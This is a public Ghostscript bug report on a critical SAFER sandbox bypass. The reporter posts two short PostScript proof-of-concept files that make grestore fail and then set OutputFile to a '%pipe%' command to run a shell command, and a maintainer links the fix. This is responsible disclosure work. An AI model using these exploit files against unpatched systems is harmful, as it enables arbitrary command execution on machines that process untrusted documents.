Bug 699714

Summary:	another grestore failure SAFER bypass
Product:	Ghostscript	Reporter:	Tavis Ormandy <taviso>
Component:	Security (public)	Assignee:	Chris Liddell (chrisl) <chris.liddell>
Status:	RESOLVED FIXED
Severity:	critical	CC:	cbuissar, scorneli
Priority:	P4
Version:	unspecified
Hardware:	PC
OS:	Linux
See Also:	https://bugs.ghostscript.com/show_bug.cgi?id=699654 https://bugs.ghostscript.com/show_bug.cgi?id=699687 https://bugs.ghostscript.com/show_bug.cgi?id=699718
Customer:		Word Size:	---

Description Tavis Ormandy 2018-09-04 18:38:27 UTC

This is a variant of bug 699654, I was reviewing the fix for that bug and looking for other ways the restore could fail.

Here is one that fix doesn't cover:

$ cat testcase.ps
currentpagedevice /PageSize get 0 (foobar) put
a0
{ grestore } stopped clear
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
showpage

Comment 1 Chris Liddell (chrisl) 2018-09-04 20:56:49 UTC

Running that with the 9.24 release gives:
Error: /undefined in --.putdeviceprops--
Operand stack:

Execution stack:
   %interp_exit   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   --nostringval--   --nostringval--   false   1   %stopped_push   2015   1   3   %oparray_pop   2014   1   3   %oparray_pop   1998   1   3   %oparray_pop   1884   1   3   %oparray_pop   --nostringval--   %errorexec_pop   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   1863   4   3   %oparray_pop
Dictionary stack:
   --dict:978/1684(ro)(G)--   --dict:0/20(G)--   --dict:78/200(L)--
Current allocation mode is local
Last OS error: Resource temporarily unavailable
Current file position is 135
GPL Ghostscript 9.24: Unrecoverable error, exit code 1

Comment 2 Tavis Ormandy 2018-09-04 21:00:50 UTC

Sorry, please use the commandline:

gs -dSAFER -sDEVICE=ppmraw -f 699714.ps 

Apologies for not specifying that.

Comment 3 Tavis Ormandy 2018-09-04 21:03:26 UTC

Here is a version that works without specifying the device, just for reference.

userdict /setpagedevice undef
currentpagedevice /PageSize get 0 (foobar) put
a0
{ grestore } stopped clear

% make sure we have a device with OutputFile
(ppmraw) selectdevice

mark /OutputFile (%pipe%id) currentdevice putdeviceprops

{ showpage } stopped pop
quit

Comment 4 Chris Liddell (chrisl) 2018-09-05 08:20:22 UTC

This one is fixed in:
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=5812b1b78fc4